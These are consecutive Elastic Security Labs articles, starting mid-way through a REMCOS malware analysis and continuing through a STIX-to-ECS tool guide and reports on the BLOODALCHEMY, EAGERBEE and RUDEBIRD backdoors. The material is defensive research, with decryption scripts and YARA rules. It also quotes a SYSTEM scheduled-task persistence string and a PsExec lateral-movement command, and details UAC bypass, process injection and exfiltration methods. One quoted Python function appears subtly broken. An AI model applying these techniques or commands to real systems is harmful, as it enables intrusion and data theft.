• Recovery of about 90% of its C2 commands
• Sample virtual addresses under each IDA Pro screenshot
• And more!

For any questions or feedback, feel free to reach out to us on social media @elasticseclabs or in the Elastic Community Slack.

Loading the configuration

The REMCOS configuration is stored in an encrypted blob within a resource named SETTINGS. This name appears consistent across different versions of REMCOS.

The malware begins by loading the encrypted configuration blob from its resource section.

To load the encrypted configuration, we use the following Python script and the Lief module.

import lief

def read_encrypted_configuration(path: pathlib.Path) -> bytes | None:
	if not (pe := lief.parse(path)):
    		return None

	for first_level_child in pe.resources.childs:
    		if first_level_child.id != 10:
        		continue

    	for second_level_child in first_level_child.childs:
        		if second_level_child.name == "SETTINGS":
            			return bytes(second_level_child.childs[0].content)

We can confirm that version 4.9.3 maintains the same structure and decryption scheme as previously described by Fortinet researchers:

We refer to the “encrypted configuration” as the structure that contains the decryption key and the encrypted data blob, which appears as follows:

struct ctf::EncryptedConfiguration
{
uint8_t key_size;
uint8_t key[key_size];
uint8_t data
};

The configuration is still decrypted using the RC4 algorithm, as seen in the following screenshot.

To decrypt the configuration, we employ the following algorithm.

def decrypt_encrypted_configuration(
	encrypted_configuration: bytes,
) -> tuple[bytes, bytes]:
	key_size = int.from_bytes(encrypted_configuration[:1], "little")
	key = encrypted_configuration[1 : 1 + key_size]
	return key, ARC4.ARC4Cipher(key).decrypt(encrypted_configuration[key_size + 1 :])

The configuration is used to initialize a global vector that we call g_configuration_vector by splitting it with the string \x7c\x1f\x1e\x1e\x7c as a delimiter.

We provide a detailed explanation of the configuration later in this series.

UAC Bypass

When the enable_uac_bypass_flag (index 0x2e) is enabled in the configuration, REMCOS attempts a UAC bypass using a known COM-based technique.

Beforehand, the REMCOS masquerades its process in an effort to avoid detection.

REMCOS modifies the PEB structure of the current process by replacing the image path and command line with the explorer.exe string while saving the original information in global variables for later use.

The well-known technique exploits the CoGetObject API to pass the Elevation:Administrator!new: moniker, along with the CMSTPLUA CLSID and ICMLuaUtil IID, to instantiate an elevated COM interface. REMCOS then uses the ShellExec() method of the interface to launch a new process with administrator privileges, and exit.

This technique was previously documented in an Elastic Security Labs article from 2023: Exploring Windows UAC Bypasses: Techniques and Detection Strategies.

Below is a recent screenshot of the detection of this exploit using the Elastic Defend agent.

Disabling UAC

When the disable_uac_flag is enabled in the configuration (index 0x27), REMCOS disables UAC in the registry by setting the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemEnableLUA value to 0 using the reg.exe Windows binary."

Install and persistence

When enable_install_flag (index 0x3) is activated in the configuration, REMCOS will install itself on the host machine.

The installation path is constructed using the following configuration values:

• install_parent_directory (index 0x9)
• install_directory (0x30)
• install_filename (0xA)

The malware binary is copied to {install_parent_directory}/{install_directory}/{install_filename}. In this example, it is %ProgramData%\Remcos\remcos.exe.

If the enable_persistence_directory_and_binary_hiding_flag (index 0xC) is enabled in the configuration, the install folder and the malware binary are set to super hidden (even if the user enables showing hidden files or folders the file is kept hidden by Windows to protect files with system attributes) and read-only by applying read-only, hidden, and system attributes to them.

After installation, REMCOS establishes persistence in the registry depending on which of the following flags are enabled in the configuration:

• enable_hkcu_run_persistence_flag (index 0x4) HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
• enable_hklm_run_persistence_flag (index 0x5) HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
• enable_hklm_policies_explorer_run_flag (index 0x8) HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\

The malware is then relaunched from the installation folder using ShellExecuteW, followed by termination of the initial process.

Process injection

When the enable_process_injection_flag (index 0xD) is enabled in the configuration, REMCOS injects itself into either a specified or a Windows process chosen from an hardcoded list to evade detection.

The enable_process_injection_flag can be either a boolean or the name of a target process. When set to true (1), the injected process is chosen in a “best effort” manner from the following options:

• iexplorer.exe
• ieinstal.exe
• ielowutil.exe

Note: there is only one injection method available in REMCOS, when we talk about process injection we are specifically referring to the method outlined here

REMCOS uses a classic ZwMapViewOfSection + SetThreadContext + ResumeThread technique for process injection. This involves copying itself into the injected binary via shared memory, mapped using ZwMapViewOfSection and then hijacking its execution flow to the REMCOS entry point using SetThreadContext and ResumeThread methods.

It starts by creating the target process in suspended mode using the CreateProcessW API and retrieving its thread context using the GetThreadContext API.

Then, it creates a shared memory using the ZwCreateSection API and maps it into the target process using the ZwMapViewOfSection API, along with the handle to the remote process.

The binary is next loaded into the remote process by copying its header and sections into shared memory.

Relocations are applied if necessary. Then, the PEB ImageBaseAddress is fixed using the WriteProcessMemory API. Subsequently, the thread context is set with a new entry point pointing to the REMCOS entry point, and process execution resumes.

Below is the detection of this process injection technique by our agent:

Setting up logging mode

REMCOS has three logging mode values that can be selected with the logging_mode (index 0x28) field of the configuration:

• 0: No logging
• 1: Start minimized in tray icon
• 2: Console logging

Setting this field to 2 enables the console, even when process injection is enabled, and exposes additional information.

Cleaning browsers

When the enable_browser_cleaning_on_startup_flag (index 0x2B) is enabled, REMCOS will delete cookies and login information from the installed web browsers on the host.

According to the official documentation the goal of this capability is to increase the system security against password theft:

Currently, the supported browsers are Internet Explorer, Firefox, and Chrome.

The cleaning process involves deleting cookies and login files from browsers' known directory paths using the FindFirstFileA, FindNextFileA, and DeleteFileA APIs:

When the job is completed, REMCOS prints a message to the console.

It's worth mentioning two related fields in the configuration:

• enable_browser_cleaning_only_for_the_first_run_flag (index 0x2C)
• browser_cleaning_sleep_time_in_minutes (index 0x2D)

The browser_cleaning_sleep_time_in_minutes configuration value determines how much time REMCOS will sleep before performing the job.

When enable_browser_cleaning_only_for_the_first_run_flag is enabled, the cleaning will occur only at the first run of REMCOS. Afterward, the HKCU/SOFTWARE/{mutex}/FR registry value is set.

On subsequent runs, the function directly returns if the value exists and is set in the registry.

That’s the end of the first article. The second part will cover the second half of REMCOS' execution flow, starting from its watchdog to the first communication with its C2.

Organizations that use threat indicators or observables consume, create, and/or (ideally) publish threat data. This data can be used internally or externally as information or intelligence to inform decision-making and event prioritization.

While there are several formats for this information to be structured into, the de facto industry standard is Structured Threat Information Expression (STIX). STIX is managed by the OASIS Cyber Threat Intelligence Technical Committee and enables organizations to share threat data in a standard and machine-readable format.

At Elastic, we developed the Elastic Common Schema (ECS) as a data normalization capability. “[ECS] is an open source specification, developed with support from the Elastic user community. ECS defines a common set of fields for storing event data in Elasticsearch, such as logs and metrics.” In April of 2023, Elastic contributed ECS to the OpenTelemetry Semantic Conventions (OTel) as a commitment to the joint development of an open schema.

The security community shares threat data in the STIX format, so to store that data in Elasticsearch for analysis and threat detection [1] [2] [3] [4], we created a tool that converts STIX documents into ECS and outputs the threat data either as a file or directly into Elasticsearch indices. If this was a challenge for us, it was a challenge for others - therefore, we decided to release a version of the tool.

This tool uses the Elastic License 2.0 and is available for download here.

Getting started

This project will take a STIX 2.x formatted JSON document and create an ECS version. There are three output options: STDOUT as JSON, an NDJSON file, and/or directly to an Elasticsearch cluster.

Prerequisites

The STIX 2 ECS project requires Python 3.10+ and the stix2, Elasticsearch, and getpass modules.

If exporting to Elasticsearch, you will need the host information and authentication credentials. API authentication is not yet implemented.

Setup

Create a virtual environment and install the required prerequisites.

git clone https://github.com/elastic/labs-releases.git
cd tools/stix2ecs
python -m venv /path/to/virtual/environments/stix2ecs
source /path/to/virtual/environments/stix2ecs/bin/activate
python -m pip install -r requirements.txt

Operation

The input is a STIX 2.x JSON document (or a folder of JSON documents); the output defaults to STDOUT, with an option to create an NDJSON file and/or send to an Elasticsearch cluster.

stix_to_ecs.py [-h] -i INPUT [-o OUTPUT] [-e] [--index INDEX] [--url URL] \
[--user USER] [-p PROVIDER] [-r]

By default, the ECS file is named the same as the STIX file input but with .ecs.ndjson appended.

Arguments

The script has several arguments, the only mandatory field is -i for the input. By default, the script will output the NDJSON document to STDOUT.

Examples

There are two sample files located in the test-inputs/ directory. One is from CISA (Cybersecurity & Infrastructure Security Agency), and one is from OpenCTI (an open source threat intelligence platform).

STIX file input to STDOUT

This will output the STIX document to STDOUT in ECS format.

python stix_to_ecs.py -i test-inputs/cisa_sample_stix.json | jq

[
  {
    "threat": {
      "indicator": {
        "file": {
          "name": "123.ps1",
          "hash": {
            "sha256": "ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44"
          }
        },
        "type": "file",
        "description": "Simple indicator of observable {ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44}",
        "first_seen": "2023-11-21T18:57:25.000Z",
        "provider": "identity--b3bca3c2-1f3d-4b54-b44f-dac42c3a8f01",
        "modified_at": "2023-11-21T18:57:25.000Z",
        "marking": {
          "tlp": "clear"
        }
      }
    }
  },
...

STIX file input to ECS file output

This will create a folder called ecs in the present directory and write the ECS file there.

python python stix_to_ecs.py -i test-inputs/cisa_sample_stix.json -o ecs

cat ecs/cisa_sample_stix.ecs.ndjson | jq
{
  "threat": {
    "indicator": {
      "file": {
        "name": "123.ps1",
        "hash": {
          "sha256": "ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44"
        }
      },
      "type": "file",
      "description": "Simple indicator of observable {ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44}",
      "first_seen": "2023-11-21T18:57:25.000Z",
      "provider": "identity--b3bca3c2-1f3d-4b54-b44f-dac42c3a8f01",
      "modified_at": "2023-11-21T18:57:25.000Z",
      "marking": {
        "tlp": "clear"
      }
    }
  }
}
...

STIX file input to ECS file output, defining the Provider field

The provider field is commonly a GUID in the STIX document. To make it more user-friendly, you can use the -p argument to define the threat.indicator.provider field.

python stix_to_ecs.py -i test-inputs/cisa_sample_stix.json -o ecs -p "Elastic Security Labs"

cat ecs/cisa_sample_stix.ecs.ndjson | jq
{
  "threat": {
    "indicator": {
      "file": {
        "name": "123.ps1",
        "hash": {
          "sha256": "ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44"
        }
      },
      "type": "file",
      "description": "Simple indicator of observable {ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44}",
      "first_seen": "2023-11-21T18:57:25.000Z",
      "provider": "Elastic Security Labs",
      "modified_at": "2023-11-21T18:57:25.000Z",
      "marking": {
        "tlp": "clear"
      }
    }
  }
}
...

STIX directory input to ECS file outputs

If you have a directory of STIX documents, you can use the -r argument to recursively search through the directory and write the ECS documents to the output directory.

python stix_to_ecs.py -ri test-inputs -o ecs

STIX file input to Elasticsearch output

To output to Elasticsearch, you can use either Elastic Cloud or a local instance. Local Elasticsearch will use port 9200 and Elastic Cloud will use port 443. By default, a valid TLS session to Elasticsearch is required.

First, create an index if you don't already have one. In this example, we’re creating an index called stix2ecs, but the index name isn’t relevant.

curl -u {username} -X PUT "https://elasticsearch:port/stix2ecs?pretty"

{
  "acknowledged" : true,
  "shards_acknowledged" : true,
  "index" : "stix2ecs"
}

Next, define the Elasticsearch output options.

python stix_to_ecs.py -i test-inputs/cisa_sample_stix.json -e --url https://elasticsearch:port --user username --index stix2ecs

If you’re storing the data in Elasticsearch for use in another platform, you can view the indicators using cURL.

curl -u {username} https://elasticsearch:port/stix2ecs/_search?pretty

{
  "took" : 2,
  "timed_out" : false,
  "_shards" : {
    "total" : 1,
    "successful" : 1,
    "skipped" : 0,
    "failed" : 0
  },
  "hits" : {
    "total" : {
      "value" : 3,
      "relation" : "eq"
    },
    "max_score" : 1.0,
    "hits" : [
      {
        "_index" : "stix2ecs",
        "_id" : "n2lt8IwBahlUtp0hzm9i",
        "_score" : 1.0,
        "_source" : {
          "threat" : {
            "indicator" : {
              "file" : {
                "name" : "123.ps1",
                "hash" : {
                  "sha256" : "ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44"
                }
              },
              "type" : "file",
              "description" : "Simple indicator of observable {ED5D694D561C97B4D70EFE934936286FE562ADDF7D6836F795B336D9791A5C44}",
              "first_seen" : "2023-11-21T18:57:25.000Z",
              "provider" : "identity--b3bca3c2-1f3d-4b54-b44f-dac42c3a8f01",
              "modified_at" : "2023-11-21T18:57:25.000Z",
              "marking" : {
                "tlp" : "clear"
              }
            }
          }
        }
      }
...

If you’re using Kibana, you can create a Data View for your stix2ecs index to view the ingested indicators.

Finally, you can use this as an indicator source for Indicator Match rules.

Summary

We hope this project helps your organization analyze and operationalize your threat data. If you’re new to the Elastic Common Schema, you can learn more about that here.

As always, please feel free to open an issue with any questions, comments, concerns, or complaints.

About Elastic Security Labs

Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.

Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at www.elastic.co/security-labs/.

BLOODALCHEMY is an x86 backdoor written in C and found as shellcode injected into a signed benign process. It was discovered in our analysis and is part of the REF5961 intrusion set, which you can read about here.

BLOODALCHEMY requires a specific loader to be run because it isn't reflexive (it doesn’t have the capability to load and execute by itself). Additionally, BLOODALCHEMY isn’t compiled as position independent (when loaded at a different base address than the preferred one the binary has to be patched to take into account the new “position”).

In our analysis, the signed benign process was previously sideloaded with a malicious DLL. The DLL was missing from the sample data but was likely the container and the loader of the BLOODALCHEMY shellcode.

We believe from our research that the malware is part of a bigger toolset and is still in active development based on its current lack of capabilities, enabled debug logging of exceptions, and the existence of test strings used for persistence service setup.

Key takeaways

• BLOODALCHEMY is likely a new backdoor and is still in active development
• BLOODALCHEMY abuses a legitimate binary for loading
• BLOODALCHEMY has multiple running modes, persistence mechanisms, and communication options

Initial execution

During the initial execution phase, the adversary deployed a benign utility, BrDifxapi.exe, which is vulnerable to DLL side-loading. When deploying this vulnerable utility the adversary could side-load the unsigned BLOODALCHEMY loader (BrLogAPI.dll) and inject shellcode into the current process.

BrDifxapi.exe is a binary developed by the Japanese company Brother Industries and the version we observed has a revoked signature.

The legitimate DLL named BrLogApi.dll is an unsigned DLL also by Brother Industries. BLOODALCHEMY uses the same DLL name.

Code analysis

Data Obfuscation

To hide its strings the BLOODALCHEMY malware uses a classic technique where each string is encrypted, preceded by a single-byte decryption key, and finally, all concatenated together to form what we call an encrypted blob.

While the strings are not null-terminated, the offset from the beginning of the blob, the string, and the size are passed as a parameter to the decryption function. Here is the encrypted blob format:

Blob = Key0 :EncryptedString0 + Key1:EncryptedString1 + ... + KeyN:EncryptedStringN

The implementation in Python of the string decryption algorithm is given below:

def decrypt_bytes(encrypted_data: bytes, offset: int, size: int) -> bytes:
    decrypted_size = size - 1
    decrypted_data = bytearray(decrypted_size)

    encrypted_data_ = encrypted_data[offset : offset + size]
    key = encrypted_data_[0]

    i = 0
    while i != decrypted_size:
            decrypted_data[i] = key ^ encrypted_data_[i + 1]
           key = (key + ((key << ((i % 5) + 1)) | (key >> (7 - (i % 5))))) & 0xFF
           i += 1

    return bytes(decrypted_data)

The strings contained in the configuration blob are encrypted using the same scheme, however the ids (or offsets) of each string are obfuscated; it adds two additional layers of obfuscation that must be resolved. Below, we can resolve additional obfuscation layers to decrypt strings from the configuration:

def decrypt_configuration_string(id: int) -> bytes:
        return decrypt_bytes(
                *get_configuration_encrypted_string(
                        get_configuration_dword(id)))

Each function is given below:

The get_configuration_dword function

def get_configuration_dword(id: int) -> int:
        b = ida_bytes.get_bytes(CONFIGURATION_VA + id, 4)
        return b[0] + (b[1] + (b[2] + (b[3] << 8) << 8) << 8)

The get_configuration_encrypted_strng function

def get_configuration_encrypted_string(id: int) -> tuple[int, int]:
         ea = CONFIGURATION_VA + id

        v2 = 0
        i = 0

        while i <= 63:
            c = ida_bytes.get_byte(ea)

            v6 = (c & 127) << i
            v2 = (v2 | v6) & 0xFFFFFFFF

            ea += 1

            if c >= 0:
                break
            
            i += 7
            return ea, v2

Persistence

BLOODALCHEMY maintains persistence by copying itself into its persistence folder with the path suffix \Test\test.exe,

The root directory of the persistence folder is chosen based on its current privilege level, it can be either:

• %ProgramFiles%
• %ProgramFiles(x86)%
• %Appdata%
• %LocalAppData%\Programs

Persistence is achieved via different methods depending on the configuration:

• As a service
• As a registry key
• As a scheduled task
• Using COM interfaces

To identify the persistence mechanisms, we can use the uninstall command to observe the different ways that the malware removes persistence.

As a service named Test.

As a registry key at CurrentVersion\Run

As a scheduled task, running with SYSTEM privilege via schtask.exe:

b'schtasks.exe /CREATE /SC %s /TN "%s" /TR "\'%s\'" /RU "NT AUTHORITY\\SYSTEM" /Fb'

Using the TaskScheduler::ITaskService COM interface. The intent of this persistence mechanism is currently unknown.

Running modes

The malware has different running modes depending on its configuration:

• Within the main or separate process thread
• Create a Windows process and inject a shellcode into it
• As a service

The malware can either work within the main process thread.

Or run in a separate thread.

Or create a Windows process from a hardcoded list and inject a shellcode passed by parameter to the entry point using the WriteProcessMemory+QueueUserAPC+ResumeThread method.

The shellcode is contained in the parameters we call p_interesting_data. This parameter is actually a pointer to a structure containing both the malware configuration and executable binary data.

Or install and run itself as a service. In this scenario, the service name and description will be Test and Digital Imaging System:

Also when running as a service and started by the service manager the malware will masquerade itself as stopped by first setting the service status to “SERVICE_RUNNING” then setting the status to “SERVICE_STOPPED” while in fact the malware is still running.

Communication

The malware communicates using either the HTTP protocol, named pipes, or sockets.

When using the HTTP protocol the malware requests the following URI /Inform/logger/.

In this scenario, BLOODALCHEMY will try to use any proxy server found in the registry key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings.

We did not uncover any C2 infrastructure with our sample, but the URL could look something like this: https://malwa[.]re/Inform/logger

When using a named pipe, the name is randomly generated using the current PID as seed.

While waiting for a client to connect to this named pipe the malware scans the running processes and checks that its parent process is still running, this may be to limit access to the named pipe. That said, the malware is not checking that the pipe client is the correct parent process, only that the parent process is running. This introduces flawed logic in protecting the named pipe.

From the malware strings and imports we know that the malware can also operate using TCP/UDP sockets.

While we haven’t made any conclusions about their usage, we list all the protocols found in the encrypted strings.

• DNS://
• HTTP://
• HTTPS://
• MUX://
• UDP://
• SMB://
• SOCKS5://
• SOCKS4://
• TCP://

For all protocols the data can be encrypted, LZNT1 compressed, and/or Base64-encoded.

Commands

The malware only contains a few commands with actual effects:

• Write/overwrite the malware toolset
• Launch its malware binary Test.exe
• Uninstall and terminate
• Gather host information

There are three commands that write (or overwrite) the malware tool set with the received Base64-encoded binary data:

• Either the malware binary (Test.exe)
• the sideloaded DLL (BrLogAPI.dll)
• or the main trusted binary (BrDifxapi.exe)

One command that launches the Test.exe binary in the persistence folder.

The uninstall and terminate itself command will first delete all its files at specific locations then remove any persistence registry key or scheduled task, then remove installed service and finish by terminating itself.

One host information gathering command: CPU, OS, display, network, etc.

Summary

BLOODALCHEMY is a backdoor shellcode containing only original code(no statically linked libraries). This code appears to be crafted by experienced malware developers.

The backdoor contains modular capabilities based on its configuration. These capabilities include multiple persistence, C2, and execution mechanisms.

While unconfirmed, the presence of so few effective commands indicates that the malware may be a subfeature of a larger intrusion set or malware package, still in development, or an extremely focused piece of malware for a specific tactical usage.

BLOODALCHEMY and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Command and Control
• Defense Evasion
• Discovery
• Execution
• Process Injection

Malware prevention capabilities

• BLOODALCHEMY

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BLOODALCHEMY malware:

BLOODALCHEMY
rule Windows_Trojan_BloodAlchemy_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.BloodAlchemy"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = { 55 8B EC 51 83 65 FC 00 53 56 57 BF 00 20 00 00 57 6A 40 FF 15 }
        $a2 = { 55 8B EC 81 EC 80 00 00 00 53 56 57 33 FF 8D 45 80 6A 64 57 50 89 7D E4 89 7D EC 89 7D F0 89 7D }

    condition:
        all of them
}

rule Windows_Trojan_BloodAlchemy_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.BloodAlchemy"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = { 55 8B EC 83 EC 54 53 8B 5D 08 56 57 33 FF 89 55 F4 89 4D F0 BE 00 00 00 02 89 7D F8 89 7D FC 85 DB }
        $a2 = { 55 8B EC 83 EC 0C 56 57 33 C0 8D 7D F4 AB 8D 4D F4 AB AB E8 42 10 00 00 8B 7D F4 33 F6 85 FF 74 03 8B 77 08 }

    condition:
        any of them
}

rule Windows_Trojan_BloodAlchemy_3 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.BloodAlchemy"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a = { 55 8B EC 83 EC 38 53 56 57 8B 75 08 8D 7D F0 33 C0 33 DB AB 89 5D C8 89 5D D0 89 5D D4 AB 89 5D }

    condition:
        all of them
}

rule Windows_Trojan_BloodAlchemy_4 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.BloodAlchemy"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a = { 55 8B EC 83 EC 30 53 56 57 33 C0 8D 7D F0 AB 33 DB 68 02 80 00 00 6A 40 89 5D FC AB AB FF 15 28 }

    condition:
        all of them
}

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.

Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.

In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.

The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting here and updated here). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).

Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.

Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth here.

Key takeaways

• Elastic Security Labs is disclosing three new malware families:
  • EAGERBEE
  • RUDEBIRD
  • DOWNTOWN
• Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns
• The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities

EAGERBEE

EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.

During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as LuckyMouse (APT27, EmissaryPanda).

Code analysis

EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.

Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.

After resolving all the required Windows APIs, the malware creates a mutex with the string mstoolFtip32W to prevent multiple instances of the malware from running on the same machine.

The malware gathers key information about the compromised system:

• The computer's name is obtained using the GetComputerNameW function
• The malware retrieves the Windows version by utilizing the GetVersionExW function
• A globally unique identifier (GUID) is generated through the CoCreateGuid function
• The processor architecture information is acquired using the GetNativeSystemInfo function
• The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion

The sample’s operational schedule is controlled by the string 0-5:00:23;6:00:23;. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system:

• active from Sunday(0) to Friday(5)
• all hours between 00 and 23
• Saturday(6) all hours between 00 and 23

This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.

The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named c:\users\public\iconcache.mui. This file is decrypted using the first character as the decryption key.

This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure IP:PORT, where the character s is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.

The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.

A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.

In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.

When operating in active connection mode, the malware attempts to load its configuration from the file c:\users\public\iconcache.mui. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs

The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.

Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.

The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the ProxyEnable registry key within Software\Microsoft\windows\CurrentVersion\Internet Settings. If this key value is set to 1, the malware extracts the information in the ProxyServer key.

If no proxy server is set, the malware connects directly to C2.

However, if the proxy settings are defined, the malware also initializes the proxy by sending a CONNECT request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote DONNECT instead of CONNECT in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.

Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.

EAGERBEE connection to a Mongolian campaign

During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE samples involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (iconcache.mui for EAGERBEE and iconcaches.mui in the Mongolian campaign). The samples consisted of multiple files and a lure document.

While analyzing the Mongolian campaign samples, we found a previous webpage (http://president[.]mn/en/ebooksheets.php) hosted under Mongolian infrastructure serving a RAR file named 20220921_2.rar. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.

The lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important topic in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.

For this infection chain, they leveraged a signed Kaspersky application in order to sideload a malicious DLL. Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (www.president[.]mn/upload.php) via cURL. Persistence is configured using a Registry Run Key.

Note: Though it does not contain the .gov second-level domain, www.president[.]mn does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to oyunbold@datacenter.gov[.]mn which appears to be legitimate. Based on string formatting and underlying behavior, this sample aligns with public reporting from AVAST related to a utility they call DataExtractor1.

While we didn’t find a WinRAR archive for the other linked sample, we found this related executable. It functions similarly, using a different callback domain hosted on Mongolian infrastructure (https://intranet.gov[.]mn/upload.php).

While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.

EAGERBEE Summary

EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.

Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.

RUDEBIRD

Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.

Initial execution

The backdoor was executed by a file with an invalid signature, C:\Windows\help\RVTDM.exe, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert.

The process was executed with the parent process (w3wp.exe) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.

Lateral movement

RUDEBIRD used PsExec (exec.exe) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment.

"C:\windows\help\exec.exe" /accepteula \\{victim-1} -d -s C:\windows\debug\RVTDM.EXE

Code analysis

RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the kernel32.dll and ntdll.dll modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.

RUDEBIRD uses a straightforward API hashing algorithm with multiplication (0x21) and addition that is publicly available from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.

After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:

• Hostname
• Computer name
• Username
• IP Address
• System architecture
• Privilege of the current user

